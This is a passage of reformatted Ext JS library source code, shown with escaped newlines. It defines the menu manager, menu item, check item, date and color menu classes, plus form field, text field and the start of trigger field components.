o\n        } else {\n            if (p && !p.isDestroyed && p.isVisible()) {\n                o.getEl().setZIndex(parseInt(p.getEl().getStyle(\"z-index\"), 10) + 3)\n            }\n        }\n    }\n\n    function c(o) {\n        if (o.activeChild) {\n            o.activeChild.hide()\n        }\n        if (o.autoHideTimer) {\n            clearTimeout(o.autoHideTimer);\n            delete o.autoHideTimer\n        }\n    }\n\n    function i(o) {\n        var p = o.parentMenu;\n        if (!p && !o.allowOtherMenus) {\n            j()\n        } else {\n            if (p && p.activeChild) {\n                p.activeChild.hide()\n            }\n        }\n    }\n\n    function m(o) {\n        if (l.getElapsed() > 50 && e.length > 0 && !o.getTarget(\".x-menu\")) {\n            j()\n        }\n    }\n\n    return{hideAll:function () {\n        return j()\n    }, register:function (o) {\n        if (!h) {\n            n()\n        }\n        h[o.id] = o;\n        o.on({beforehide:c, hide:g, beforeshow:i, show:k})\n    }, get:function (o) {\n        if (typeof o == \"string\") {\n            if (!h) {\n                return null\n            }\n            return h[o]\n        } else {\n            if (o.events) {\n                return o\n            } else {\n                if (typeof o.length == \"number\") {\n                    return new Ext.menu.Menu({items:o})\n                } else {\n                    return Ext.create(o, \"menu\")\n                }\n            }\n        }\n    }, unregister:function (o) {\n        delete h[o.id];\n        o.un(\"beforehide\", c);\n        o.un(\"hide\", g);\n        o.un(\"beforeshow\", i);\n        o.un(\"show\", k)\n    }, registerCheckable:function (o) {\n        var p = o.group;\n        if (p) {\n            if (!d[p]) {\n                d[p] = []\n            }\n            d[p].push(o)\n        }\n    }, unregisterCheckable:function (o) {\n        var p = o.group;\n        if (p) {\n            d[p].remove(o)\n        }\n    }, onCheckChange:function (q, r) {\n        if (q.group && r) {\n            var t = d[q.group], p = 0, o = t.length, s;\n            for (; p < o; p++) {\n                s = t[p];\n                if (s != q) {\n                    s.setChecked(false)\n                }\n            }\n        }\n    }, getCheckedItem:function (q) {\n        var r = d[q];\n        if (r) {\n            for (var p = 0, o = r.length; p < o; p++) {\n                if (r[p].checked) {\n                    return r[p]\n                }\n            }\n        }\n        return null\n    }, setCheckedItem:function (q, s) {\n        var r = d[q];\n        if (r) {\n            for (var p = 0, o = r.length; p < o; p++) {\n                if (r[p].id == s) {\n                    r[p].setChecked(true)\n                }\n            }\n        }\n        return null\n    }}\n}();\nExt.menu.BaseItem = Ext.extend(Ext.Component, {canActivate:false, activeClass:\"x-menu-item-active\", hideOnClick:true, clickHideDelay:1, ctype:\"Ext.menu.BaseItem\", actionMode:\"container\", initComponent:function () {\n    Ext.menu.BaseItem.superclass.initComponent.call(this);\n    this.addEvents(\"click\", \"activate\", \"deactivate\");\n    if (this.handler) {\n        this.on(\"click\", this.handler, this.scope)\n    }\n}, onRender:function (b, a) {\n    Ext.menu.BaseItem.superclass.onRender.apply(this, arguments);\n    if (this.ownerCt && this.ownerCt instanceof Ext.menu.Menu) {\n        this.parentMenu = this.ownerCt\n    } else {\n        this.container.addClass(\"x-menu-list-item\");\n        this.mon(this.el, {scope:this, click:this.onClick, mouseenter:this.activate, mouseleave:this.deactivate})\n    }\n}, setHandler:function (b, a) {\n    if (this.handler) {\n        this.un(\"click\", this.handler, this.scope)\n    }\n    this.on(\"click\", this.handler = b, this.scope = a)\n}, onClick:function (a) {\n    if (!this.disabled && this.fireEvent(\"click\", this, a) !== false && (this.parentMenu && this.parentMenu.fireEvent(\"itemclick\", this, a) !== false)) {\n        this.handleClick(a)\n    } else {\n        a.stopEvent()\n    }\n}, activate:function () {\n    if (this.disabled) {\n        return false\n    }\n    var a = this.container;\n    a.addClass(this.activeClass);\n    this.region = a.getRegion().adjust(2, 2, -2, -2);\n    this.fireEvent(\"activate\", this);\n    return true\n}, deactivate:function () {\n    this.container.removeClass(this.activeClass);\n    this.fireEvent(\"deactivate\", this)\n}, shouldDeactivate:function (a) {\n    return !this.region || !this.region.contains(a.getPoint())\n}, handleClick:function (b) {\n    var a = this.parentMenu;\n    if (this.hideOnClick) {\n        if (a.floating) {\n            this.clickHideDelayTimer = a.hide.defer(this.clickHideDelay, a, [true])\n        } else {\n            a.deactivateActive()\n        }\n    }\n}, beforeDestroy:function () {\n    clearTimeout(this.clickHideDelayTimer);\n    Ext.menu.BaseItem.superclass.beforeDestroy.call(this)\n}, expandMenu:Ext.emptyFn, hideMenu:Ext.emptyFn});\nExt.reg(\"menubaseitem\", Ext.menu.BaseItem);\nExt.menu.TextItem = Ext.extend(Ext.menu.BaseItem, {hideOnClick:false, itemCls:\"x-menu-text\", constructor:function (a) {\n    if (typeof a == \"string\") {\n        a = {text:a}\n    }\n    Ext.menu.TextItem.superclass.constructor.call(this, a)\n}, onRender:function () {\n    var a = document.createElement(\"span\");\n    a.className = this.itemCls;\n    a.innerHTML = this.text;\n    this.el = a;\n    Ext.menu.TextItem.superclass.onRender.apply(this, arguments)\n}});\nExt.reg(\"menutextitem\", Ext.menu.TextItem);\nExt.menu.Separator = Ext.extend(Ext.menu.BaseItem, {itemCls:\"x-menu-sep\", hideOnClick:false, activeClass:\"\", onRender:function (a) {\n    var b = document.createElement(\"span\");\n    b.className = this.itemCls;\n    b.innerHTML = \"&#160;\";\n    this.el = b;\n    a.addClass(\"x-menu-sep-li\");\n    Ext.menu.Separator.superclass.onRender.apply(this, arguments)\n}});\nExt.reg(\"menuseparator\", Ext.menu.Separator);\nExt.menu.Item = Ext.extend(Ext.menu.BaseItem, {itemCls:\"x-menu-item\", canActivate:true, showDelay:200, altText:\"\", hideDelay:200, ctype:\"Ext.menu.Item\", initComponent:function () {\n    Ext.menu.Item.superclass.initComponent.call(this);\n    if (this.menu) {\n        if (Ext.isArray(this.menu)) {\n            this.menu = {items:this.menu}\n        }\n        if (Ext.isObject(this.menu)) {\n            this.menu.ownerCt = this\n        }\n        this.menu = Ext.menu.MenuMgr.get(this.menu);\n        this.menu.ownerCt = undefined\n    }\n}, onRender:function (d, b) {\n    if (!this.itemTpl) {\n        this.itemTpl = Ext.menu.Item.prototype.itemTpl = new Ext.XTemplate('<a id=\"{id}\" class=\"{cls}\" hidefocus=\"true\" unselectable=\"on\" href=\"{href}\"', '<tpl if=\"hrefTarget\">', ' target=\"{hrefTarget}\"', \"</tpl>\", \">\", '<img alt=\"{altText}\" src=\"{icon}\" class=\"x-menu-item-icon {iconCls}\"/>', '<span class=\"x-menu-item-text\">{text}</span>', \"</a>\")\n    }\n    var c = this.getTemplateArgs();\n    this.el = b ? this.itemTpl.insertBefore(b, c, true) : this.itemTpl.append(d, c, true);\n    this.iconEl = this.el.child(\"img.x-menu-item-icon\");\n    this.textEl = this.el.child(\".x-menu-item-text\");\n    if (!this.href) {\n        this.mon(this.el, \"click\", Ext.emptyFn, null, {preventDefault:true})\n    }\n    Ext.menu.Item.superclass.onRender.call(this, d, b)\n}, getTemplateArgs:function () {\n    return{id:this.id, cls:this.itemCls + (this.menu ? \" x-menu-item-arrow\" : \"\") + (this.cls ? \" \" + this.cls : \"\"), href:this.href || \"#\", hrefTarget:this.hrefTarget, icon:this.icon || Ext.BLANK_IMAGE_URL, iconCls:this.iconCls || \"\", text:this.itemText || this.text || \"&#160;\", altText:this.altText || \"\"}\n}, setText:function (a) {\n    this.text = a || \"&#160;\";\n    if (this.rendered) {\n        this.textEl.update(this.text);\n        this.parentMenu.layout.doAutoSize()\n    }\n}, setIconClass:function (a) {\n    var b = this.iconCls;\n    this.iconCls = a;\n    if (this.rendered) {\n        this.iconEl.replaceClass(b, this.iconCls)\n    }\n}, beforeDestroy:function () {\n    clearTimeout(this.showTimer);\n    clearTimeout(this.hideTimer);\n    if (this.menu) {\n        delete this.menu.ownerCt;\n        this.menu.destroy()\n    }\n    Ext.menu.Item.superclass.beforeDestroy.call(this)\n}, handleClick:function (a) {\n    if (!this.href) {\n        a.stopEvent()\n    }\n    Ext.menu.Item.superclass.handleClick.apply(this, arguments)\n}, activate:function (a) {\n    if (Ext.menu.Item.superclass.activate.apply(this, arguments)) {\n        this.focus();\n        if (a) {\n            this.expandMenu()\n        }\n    }\n    return true\n}, shouldDeactivate:function (a) {\n    if (Ext.menu.Item.superclass.shouldDeactivate.call(this, a)) {\n        if (this.menu && this.menu.isVisible()) {\n            return !this.menu.getEl().getRegion().contains(a.getPoint())\n        }\n        return true\n    }\n    return false\n}, deactivate:function () {\n    Ext.menu.Item.superclass.deactivate.apply(this, arguments);\n    this.hideMenu()\n}, expandMenu:function (a) {\n    if (!this.disabled && this.menu) {\n        clearTimeout(this.hideTimer);\n        delete this.hideTimer;\n        if (!this.menu.isVisible() && !this.showTimer) {\n            this.showTimer = this.deferExpand.defer(this.showDelay, this, [a])\n        } else {\n            if (this.menu.isVisible() && a) {\n                this.menu.tryActivate(0, 1)\n            }\n        }\n    }\n}, deferExpand:function (a) {\n    delete this.showTimer;\n    this.menu.show(this.container, this.parentMenu.subMenuAlign || \"tl-tr?\", this.parentMenu);\n    if (a) {\n        this.menu.tryActivate(0, 1)\n    }\n}, hideMenu:function () {\n    clearTimeout(this.showTimer);\n    delete this.showTimer;\n    if (!this.hideTimer && this.menu && this.menu.isVisible()) {\n        this.hideTimer = this.deferHide.defer(this.hideDelay, this)\n    }\n}, deferHide:function () {\n    delete this.hideTimer;\n    if (this.menu.over) {\n        this.parentMenu.setActiveItem(this, false)\n    } else {\n        this.menu.hide()\n    }\n}});\nExt.reg(\"menuitem\", Ext.menu.Item);\nExt.menu.CheckItem = Ext.extend(Ext.menu.Item, {itemCls:\"x-menu-item x-menu-check-item\", groupClass:\"x-menu-group-item\", checked:false, ctype:\"Ext.menu.CheckItem\", initComponent:function () {\n    Ext.menu.CheckItem.superclass.initComponent.call(this);\n    this.addEvents(\"beforecheckchange\", \"checkchange\");\n    if (this.checkHandler) {\n        this.on(\"checkchange\", this.checkHandler, this.scope)\n    }\n    Ext.menu.MenuMgr.registerCheckable(this)\n}, onRender:function (a) {\n    Ext.menu.CheckItem.superclass.onRender.apply(this, arguments);\n    if (this.group) {\n        this.el.addClass(this.groupClass)\n    }\n    if (this.checked) {\n        this.checked = false;\n        this.setChecked(true, true)\n    }\n}, destroy:function () {\n    Ext.menu.MenuMgr.unregisterCheckable(this);\n    Ext.menu.CheckItem.superclass.destroy.apply(this, arguments)\n}, setChecked:function (b, a) {\n    var c = a === true;\n    if (this.checked != b && (c || this.fireEvent(\"beforecheckchange\", this, b) !== false)) {\n        Ext.menu.MenuMgr.onCheckChange(this, b);\n        if (this.container) {\n            this.container[b ? \"addClass\" : \"removeClass\"](\"x-menu-item-checked\")\n        }\n        this.checked = b;\n        if (!c) {\n            this.fireEvent(\"checkchange\", this, b)\n        }\n    }\n}, handleClick:function (a) {\n    if (!this.disabled && !(this.checked && this.group)) {\n        this.setChecked(!this.checked)\n    }\n    Ext.menu.CheckItem.superclass.handleClick.apply(this, arguments)\n}});\nExt.reg(\"menucheckitem\", Ext.menu.CheckItem);\nExt.menu.DateMenu = Ext.extend(Ext.menu.Menu, {enableScrolling:false, hideOnClick:true, pickerId:null, cls:\"x-date-menu\", initComponent:function () {\n    this.on(\"beforeshow\", this.onBeforeShow, this);\n    if (this.strict = (Ext.isIE7 && Ext.isStrict)) {\n        this.on(\"show\", this.onShow, this, {single:true, delay:20})\n    }\n    Ext.apply(this, {plain:true, showSeparator:false, items:this.picker = new Ext.DatePicker(Ext.applyIf({internalRender:this.strict || !Ext.isIE, ctCls:\"x-menu-date-item\", id:this.pickerId}, this.initialConfig))});\n    this.picker.purgeListeners();\n    Ext.menu.DateMenu.superclass.initComponent.call(this);\n    this.relayEvents(this.picker, [\"select\"]);\n    this.on(\"show\", this.picker.focus, this.picker);\n    this.on(\"select\", this.menuHide, this);\n    if (this.handler) {\n        this.on(\"select\", this.handler, this.scope || this)\n    }\n}, menuHide:function () {\n    if (this.hideOnClick) {\n        this.hide(true)\n    }\n}, onBeforeShow:function () {\n    if (this.picker) {\n        this.picker.hideMonthPicker(true)\n    }\n}, onShow:function () {\n    var a = this.picker.getEl();\n    a.setWidth(a.getWidth())\n}});\nExt.reg(\"datemenu\", Ext.menu.DateMenu);\nExt.menu.ColorMenu = Ext.extend(Ext.menu.Menu, {enableScrolling:false, hideOnClick:true, cls:\"x-color-menu\", paletteId:null, initComponent:function () {\n    Ext.apply(this, {plain:true, showSeparator:false, items:this.palette = new Ext.ColorPalette(Ext.applyIf({id:this.paletteId}, this.initialConfig))});\n    this.palette.purgeListeners();\n    Ext.menu.ColorMenu.superclass.initComponent.call(this);\n    this.relayEvents(this.palette, [\"select\"]);\n    this.on(\"select\", this.menuHide, this);\n    if (this.handler) {\n        this.on(\"select\", this.handler, this.scope || this)\n    }\n}, menuHide:function () {\n    if (this.hideOnClick) {\n        this.hide(true)\n    }\n}});\nExt.reg(\"colormenu\", Ext.menu.ColorMenu);\nExt.form.Field = Ext.extend(Ext.BoxComponent, {invalidClass:\"x-form-invalid\", invalidText:\"The value in this field is invalid\", focusClass:\"x-form-focus\", validationEvent:\"keyup\", validateOnBlur:true, validationDelay:250, defaultAutoCreate:{tag:\"input\", type:\"text\", size:\"20\", autocomplete:\"off\"}, fieldClass:\"x-form-field\", msgTarget:\"qtip\", msgFx:\"normal\", readOnly:false, disabled:false, submitValue:true, isFormField:true, msgDisplay:\"\", hasFocus:false, initComponent:function () {\n    Ext.form.Field.superclass.initComponent.call(this);\n    this.addEvents(\"focus\", \"blur\", \"specialkey\", \"change\", \"invalid\", \"valid\")\n}, getName:function () {\n    return this.rendered && this.el.dom.name ? this.el.dom.name : this.name || this.id || \"\"\n}, onRender:function (c, a) {\n    if (!this.el) {\n        var b = this.getAutoCreate();\n        if (!b.name) {\n            b.name = this.name || this.id\n        }\n        if (this.inputType) {\n            b.type = this.inputType\n        }\n        this.autoEl = b\n    }\n    Ext.form.Field.superclass.onRender.call(this, c, a);\n    if (this.submitValue === false) {\n        this.el.dom.removeAttribute(\"name\")\n    }\n    var d = this.el.dom.type;\n    if (d) {\n        if (d == \"password\") {\n            d = \"text\"\n        }\n        this.el.addClass(\"x-form-\" + d)\n    }\n    if (this.readOnly) {\n        this.setReadOnly(true)\n    }\n    if (this.tabIndex !== undefined) {\n        this.el.dom.setAttribute(\"tabIndex\", this.tabIndex)\n    }\n    this.el.addClass([this.fieldClass, this.cls])\n}, getItemCt:function () {\n    return this.itemCt\n}, initValue:function () {\n    if (this.value !== undefined) {\n        this.setValue(this.value)\n    } else {\n        if (!Ext.isEmpty(this.el.dom.value) && this.el.dom.value != this.emptyText) {\n            this.setValue(this.el.dom.value)\n        }\n    }\n    this.originalValue = this.getValue()\n}, isDirty:function () {\n    if (this.disabled || !this.rendered) {\n        return false\n    }\n    return String(this.getValue()) !== String(this.originalValue)\n}, setReadOnly:function (a) {\n    if (this.rendered) {\n        this.el.dom.readOnly = a\n    }\n    this.readOnly = a\n}, afterRender:function () {\n    Ext.form.Field.superclass.afterRender.call(this);\n    this.initEvents();\n    this.initValue()\n}, fireKey:function (a) {\n    if (a.isSpecialKey()) {\n        this.fireEvent(\"specialkey\", this, a)\n    }\n}, reset:function () {\n    this.setValue(this.originalValue);\n    this.clearInvalid()\n}, initEvents:function () {\n    this.mon(this.el, Ext.EventManager.getKeyEvent(), this.fireKey, this);\n    this.mon(this.el, \"focus\", this.onFocus, this);\n    this.mon(this.el, \"blur\", this.onBlur, this, this.inEditor ? {buffer:10} : null)\n}, preFocus:Ext.emptyFn, onFocus:function () {\n    this.preFocus();\n    if (this.focusClass) {\n        this.el.addClass(this.focusClass)\n    }\n    if (!this.hasFocus) {\n        this.hasFocus = true;\n        this.startValue = this.getValue();\n        this.fireEvent(\"focus\", this)\n    }\n}, beforeBlur:Ext.emptyFn, onBlur:function () {\n    this.beforeBlur();\n    if (this.focusClass) {\n        this.el.removeClass(this.focusClass)\n    }\n    this.hasFocus = false;\n    if (this.validationEvent !== false && (this.validateOnBlur || this.validationEvent == \"blur\")) {\n        this.validate()\n    }\n    var a = this.getValue();\n    if (String(a) !== String(this.startValue)) {\n        this.fireEvent(\"change\", this, a, this.startValue)\n    }\n    this.fireEvent(\"blur\", this);\n    this.postBlur()\n}, postBlur:Ext.emptyFn, isValid:function (a) {\n    if (this.disabled) {\n        return true\n    }\n    var c = this.preventMark;\n    this.preventMark = a === true;\n    var b = this.validateValue(this.processValue(this.getRawValue()), a);\n    this.preventMark = c;\n    return b\n}, validate:function () {\n    if (this.disabled || this.validateValue(this.processValue(this.getRawValue()))) {\n        this.clearInvalid();\n        return true\n    }\n    return false\n}, processValue:function (a) {\n    return a\n}, validateValue:function (b) {\n    var a = this.getErrors(b)[0];\n    if (a == undefined) {\n        return true\n    } else {\n        this.markInvalid(a);\n        return false\n    }\n}, getErrors:function () {\n    return[]\n}, getActiveError:function () {\n    return this.activeError || \"\"\n}, markInvalid:function (c) {\n    if (this.rendered && !this.preventMark) {\n        c = c || this.invalidText;\n        var a = this.getMessageHandler();\n        if (a) {\n            a.mark(this, c)\n        } else {\n            if (this.msgTarget) {\n                this.el.addClass(this.invalidClass);\n                var b = Ext.getDom(this.msgTarget);\n                if (b) {\n                    b.innerHTML = c;\n                    b.style.display = this.msgDisplay\n                }\n            }\n        }\n    }\n    this.setActiveError(c)\n}, clearInvalid:function () {\n    if (this.rendered && !this.preventMark) {\n        this.el.removeClass(this.invalidClass);\n        var a = this.getMessageHandler();\n        if (a) {\n            a.clear(this)\n        } else {\n            if (this.msgTarget) {\n                this.el.removeClass(this.invalidClass);\n                var b = Ext.getDom(this.msgTarget);\n                if (b) {\n                    b.innerHTML = \"\";\n                    b.style.display = \"none\"\n                }\n            }\n        }\n    }\n    this.unsetActiveError()\n}, setActiveError:function (b, a) {\n    this.activeError = b;\n    if (a !== true) {\n        this.fireEvent(\"invalid\", this, b)\n    }\n}, unsetActiveError:function (a) {\n    delete this.activeError;\n    if (a !== true) {\n        this.fireEvent(\"valid\", this)\n    }\n}, getMessageHandler:function () {\n    return Ext.form.MessageTargets[this.msgTarget]\n}, getErrorCt:function () {\n    return this.el.findParent(\".x-form-element\", 5, true) || this.el.findParent(\".x-form-field-wrap\", 5, true)\n}, alignErrorEl:function () {\n    this.errorEl.setWidth(this.getErrorCt().getWidth(true) - 20)\n}, alignErrorIcon:function () {\n    this.errorIcon.alignTo(this.el, \"tl-tr\", [2, 0])\n}, getRawValue:function () {\n    var a = this.rendered ? this.el.getValue() : Ext.value(this.value, \"\");\n    if (a === this.emptyText) {\n        a = \"\"\n    }\n    return a\n}, getValue:function () {\n    if (!this.rendered) {\n        return this.value\n    }\n    var a = this.el.getValue();\n    if (a === this.emptyText || a === undefined) {\n        a = \"\"\n    }\n    return a\n}, setRawValue:function (a) {\n    return this.rendered ? (this.el.dom.value = (Ext.isEmpty(a) ? \"\" : a)) : \"\"\n}, setValue:function (a) {\n    this.value = a;\n    if (this.rendered) {\n        this.el.dom.value = (Ext.isEmpty(a) ? \"\" : a);\n        this.validate()\n    }\n    return this\n}, append:function (a) {\n    this.setValue([this.getValue(), a].join(\"\"))\n}});\nExt.form.MessageTargets = {qtip:{mark:function (a, b) {\n    a.el.addClass(a.invalidClass);\n    a.el.dom.qtip = b;\n    a.el.dom.qclass = \"x-form-invalid-tip\";\n    if (Ext.QuickTips) {\n        Ext.QuickTips.enable()\n    }\n}, clear:function (a) {\n    a.el.removeClass(a.invalidClass);\n    a.el.dom.qtip = \"\"\n}}, title:{mark:function (a, b) {\n    a.el.addClass(a.invalidClass);\n    a.el.dom.title = b\n}, clear:function (a) {\n    a.el.dom.title = \"\"\n}}, under:{mark:function (b, c) {\n    b.el.addClass(b.invalidClass);\n    if (!b.errorEl) {\n        var a = b.getErrorCt();\n        if (!a) {\n            b.el.dom.title = c;\n            return\n        }\n        b.errorEl = a.createChild({cls:\"x-form-invalid-msg\"});\n        b.on(\"resize\", b.alignErrorEl, b);\n        b.on(\"destroy\", function () {\n            Ext.destroy(this.errorEl)\n        }, b)\n    }\n    b.alignErrorEl();\n    b.errorEl.update(c);\n    Ext.form.Field.msgFx[b.msgFx].show(b.errorEl, b)\n}, clear:function (a) {\n    a.el.removeClass(a.invalidClass);\n    if (a.errorEl) {\n        Ext.form.Field.msgFx[a.msgFx].hide(a.errorEl, a)\n    } else {\n        a.el.dom.title = \"\"\n    }\n}}, side:{mark:function (b, c) {\n    b.el.addClass(b.invalidClass);\n    if (!b.errorIcon) {\n        var a = b.getErrorCt();\n        if (!a) {\n            b.el.dom.title = c;\n            return\n        }\n        b.errorIcon = a.createChild({cls:\"x-form-invalid-icon\"});\n        if (b.ownerCt) {\n            b.ownerCt.on(\"afterlayout\", b.alignErrorIcon, b);\n            b.ownerCt.on(\"expand\", b.alignErrorIcon, b)\n        }\n        b.on(\"resize\", b.alignErrorIcon, b);\n        b.on(\"destroy\", function () {\n            Ext.destroy(this.errorIcon)\n        }, b)\n    }\n    b.alignErrorIcon();\n    b.errorIcon.dom.qtip = c;\n    b.errorIcon.dom.qclass = \"x-form-invalid-tip\";\n    b.errorIcon.show()\n}, clear:function (a) {\n    a.el.removeClass(a.invalidClass);\n    if (a.errorIcon) {\n        a.errorIcon.dom.qtip = \"\";\n        a.errorIcon.hide()\n    } else {\n        a.el.dom.title = \"\"\n    }\n}}};\nExt.form.Field.msgFx = {normal:{show:function (a, b) {\n    a.setDisplayed(\"block\")\n}, hide:function (a, b) {\n    a.setDisplayed(false).update(\"\")\n}}, slide:{show:function (a, b) {\n    a.slideIn(\"t\", {stopFx:true})\n}, hide:function (a, b) {\n    a.slideOut(\"t\", {stopFx:true, useDisplay:true})\n}}, slideRight:{show:function (a, b) {\n    a.fixDisplay();\n    a.alignTo(b.el, \"tl-tr\");\n    a.slideIn(\"l\", {stopFx:true})\n}, hide:function (a, b) {\n    a.slideOut(\"l\", {stopFx:true, useDisplay:true})\n}}};\nExt.reg(\"field\", Ext.form.Field);\nExt.form.TextField = Ext.extend(Ext.form.Field, {grow:false, growMin:30, growMax:800, vtype:null, maskRe:null, disableKeyFilter:false, allowBlank:true, minLength:0, maxLength:Number.MAX_VALUE, minLengthText:\"The minimum length for this field is {0}\", maxLengthText:\"The maximum length for this field is {0}\", selectOnFocus:false, blankText:\"This field is required\", validator:null, regex:null, regexText:\"\", emptyText:null, emptyClass:\"x-form-empty-field\", initComponent:function () {\n    Ext.form.TextField.superclass.initComponent.call(this);\n    this.addEvents(\"autosize\", \"keydown\", \"keyup\", \"keypress\")\n}, initEvents:function () {\n    Ext.form.TextField.superclass.initEvents.call(this);\n    if (this.validationEvent == \"keyup\") {\n        this.validationTask = new Ext.util.DelayedTask(this.validate, this);\n        this.mon(this.el, \"keyup\", this.filterValidation, this)\n    } else {\n        if (this.validationEvent !== false && this.validationEvent != \"blur\") {\n            this.mon(this.el, this.validationEvent, this.validate, this, {buffer:this.validationDelay})\n        }\n    }\n    if (this.selectOnFocus || this.emptyText) {\n        this.mon(this.el, \"mousedown\", this.onMouseDown, this);\n        if (this.emptyText) {\n            this.applyEmptyText()\n        }\n    }\n    if (this.maskRe || (this.vtype && this.disableKeyFilter !== true && (this.maskRe = Ext.form.VTypes[this.vtype + \"Mask\"]))) {\n        this.mon(this.el, \"keypress\", this.filterKeys, this)\n    }\n    if (this.grow) {\n        this.mon(this.el, \"keyup\", this.onKeyUpBuffered, this, {buffer:50});\n        this.mon(this.el, \"click\", this.autoSize, this)\n    }\n    if (this.enableKeyEvents) {\n        this.mon(this.el, {scope:this, keyup:this.onKeyUp, keydown:this.onKeyDown, keypress:this.onKeyPress})\n    }\n}, onMouseDown:function (a) {\n    if (!this.hasFocus) {\n        this.mon(this.el, \"mouseup\", Ext.emptyFn, this, {single:true, preventDefault:true})\n    }\n}, processValue:function (a) {\n    if (this.stripCharsRe) {\n        var b = a.replace(this.stripCharsRe, \"\");\n        if (b !== a) {\n            this.setRawValue(b);\n            return b\n        }\n    }\n    return a\n}, filterValidation:function (a) {\n    if (!a.isNavKeyPress()) {\n        this.validationTask.delay(this.validationDelay)\n    }\n}, onDisable:function () {\n    Ext.form.TextField.superclass.onDisable.call(this);\n    if (Ext.isIE) {\n        this.el.dom.unselectable = \"on\"\n    }\n}, onEnable:function () {\n    Ext.form.TextField.superclass.onEnable.call(this);\n    if (Ext.isIE) {\n        this.el.dom.unselectable = \"\"\n    }\n}, onKeyUpBuffered:function (a) {\n    if (this.doAutoSize(a)) {\n        this.autoSize()\n    }\n}, doAutoSize:function (a) {\n    return !a.isNavKeyPress()\n}, onKeyUp:function (a) {\n    this.fireEvent(\"keyup\", this, a)\n}, onKeyDown:function (a) {\n    this.fireEvent(\"keydown\", this, a)\n}, onKeyPress:function (a) {\n    this.fireEvent(\"keypress\", this, a)\n}, reset:function () {\n    Ext.form.TextField.superclass.reset.call(this);\n    this.applyEmptyText()\n}, applyEmptyText:function () {\n    if (this.rendered && this.emptyText && this.getRawValue().length < 1 && !this.hasFocus) {\n        this.setRawValue(this.emptyText);\n        this.el.addClass(this.emptyClass)\n    }\n}, preFocus:function () {\n    var a = this.el, b;\n    if (this.emptyText) {\n        if (a.dom.value == this.emptyText) {\n            this.setRawValue(\"\");\n            b = true\n        }\n        a.removeClass(this.emptyClass)\n    }\n    if (this.selectOnFocus || b) {\n        a.dom.select()\n    }\n}, postBlur:function () {\n    this.applyEmptyText()\n}, filterKeys:function (b) {\n    if (b.ctrlKey) {\n        return\n    }\n    var a = b.getKey();\n    if (Ext.isGecko && (b.isNavKeyPress() || a == b.BACKSPACE || (a == b.DELETE && b.button == -1))) {\n        return\n    }\n    var c = String.fromCharCode(b.getCharCode());\n    if (!Ext.isGecko && b.isSpecialKey() && !c) {\n        return\n    }\n    if (!this.maskRe.test(c)) {\n        b.stopEvent()\n    }\n}, setValue:function (a) {\n    if (this.emptyText && this.el && !Ext.isEmpty(a)) {\n        this.el.removeClass(this.emptyClass)\n    }\n    Ext.form.TextField.superclass.setValue.apply(this, arguments);\n    this.applyEmptyText();\n    this.autoSize();\n    return this\n}, getErrors:function (a) {\n    var d = Ext.form.TextField.superclass.getErrors.apply(this, arguments);\n    a = Ext.isDefined(a) ? a : this.processValue(this.getRawValue());\n    if (Ext.isFunction(this.validator)) {\n        var c = this.validator(a);\n        if (c !== true) {\n            d.push(c)\n        }\n    }\n    if (a.length < 1 || a === this.emptyText) {\n        if (this.allowBlank) {\n            return d\n        } else {\n            d.push(this.blankText)\n        }\n    }\n    if (!this.allowBlank && (a.length < 1 || a === this.emptyText)) {\n        d.push(this.blankText)\n    }\n    if (a.length < this.minLength) {\n        d.push(String.format(this.minLengthText, this.minLength))\n    }\n    if (a.length > this.maxLength) {\n        d.push(String.format(this.maxLengthText, this.maxLength))\n    }\n    if (this.vtype) {\n        var b = Ext.form.VTypes;\n        if (!b[this.vtype](a, this)) {\n            d.push(this.vtypeText || b[this.vtype + \"Text\"])\n        }\n    }\n    if (this.regex && !this.regex.test(a)) {\n        d.push(this.regexText)\n    }\n    return d\n}, selectText:function (h, a) {\n    var c = this.getRawValue();\n    var e = false;\n    if (c.length > 0) {\n        h = h === undefined ? 0 : h;\n        a = a === undefined ? c.length : a;\n        var g = this.el.dom;\n        if (g.setSelectionRange) {\n            g.setSelectionRange(h, a)\n        } else {\n            if (g.createTextRange) {\n                var b = g.createTextRange();\n                b.moveStart(\"character\", h);\n                b.moveEnd(\"character\", a - c.length);\n                b.select()\n            }\n        }\n        e = Ext.isGecko || Ext.isOpera\n    } else {\n        e = true\n    }\n    if (e) {\n        this.focus()\n    }\n}, autoSize:function () {\n    if (!this.grow || !this.rendered) {\n        return\n    }\n    if (!this.metrics) {\n        this.metrics = Ext.util.TextMetrics.createInstance(this.el)\n    }\n    var c = this.el;\n    var b = c.dom.value;\n    var e = document.createElement(\"div\");\n    e.appendChild(document.createTextNode(b));\n    b = e.innerHTML;\n    Ext.removeNode(e);\n    e = null;\n    b += \"&#160;\";\n    var a = Math.min(this.growMax, Math.max(this.metrics.getWidth(b) + 10, this.growMin));\n    this.el.setWidth(a);\n    this.fireEvent(\"autosize\", this, a)\n}, onDestroy:function () {\n    if (this.validationTask) {\n        this.validationTask.cancel();\n        this.validationTask = null\n    }\n    Ext.form.TextField.superclass.onDestroy.call(this)\n}});\nExt.reg(\"textfield\", Ext.form.TextField);\nExt.form.TriggerField = Ext.extend(Ext.form.TextField, {defaultAutoCreate:{tag:\"input\", type:\"text\", size:\"16\", autocomplete:\"off\"}, hideTrigger:false, editable:true, readOnly:false, wrapFocusClass:\"x-trigger-wrap-focus\", autoSize:Ext.emptyFn, monitorTab:true, deferHeight:true, mimicing:false, actionMode:\"wrap\", defaultTriggerWidth:17, onResize:function (a, c) {\n    Ext.form.TriggerField.superclass.onResize.call(this, a, c);\n    var b = this.getTriggerWidth();\n    if (Ext.isNumber(a)) {\n        this.el.setWidth(a - b)\n    }\n    this.wrap.setWidth(this.el.getWidth() + b)\n}, getTriggerWidth:function () {\n    var a = this.trigger.getWidth();\n    if (!this.hideTrigger && !this.readOnly && a === 0) {\n        a = this.defaultTriggerWidth\n    }\n    return a\n}, alignErrorIcon:function () {\n    if (this.wrap) {\n        this.errorIcon.alignTo(this.wrap, \"tl-tr\", [2, 0])\n    }\n}, onRender:function (b, a) {\n    this.doc = Ext.isIE ? Ext.getBody() : Ext.getDoc();\n    Ext.form.TriggerField.superclass.onRender.call(this, b, a);\n    this.wrap = this.el.wrap({cls:\"x-form-field-wrap x-form-field-trigger-wrap\"});\n    this.trigger = this.wrap.createChild(this.triggerConfig || {tag:\"img\", src:Ext.BLANK_IMAGE_URL, alt:\"\", cls:\"x-form-trigger \" + this.triggerClass});\n    this.initTrigger();\n    if (!this.width) {\n        this.wrap.setWidth(this.el.getWidth() + this.trigger.getWidth())\n    }\n    this.resizeEl = this.positionEl = this.wrap\n}, getWidth:function () {\n    return(this.el.getWidth() + 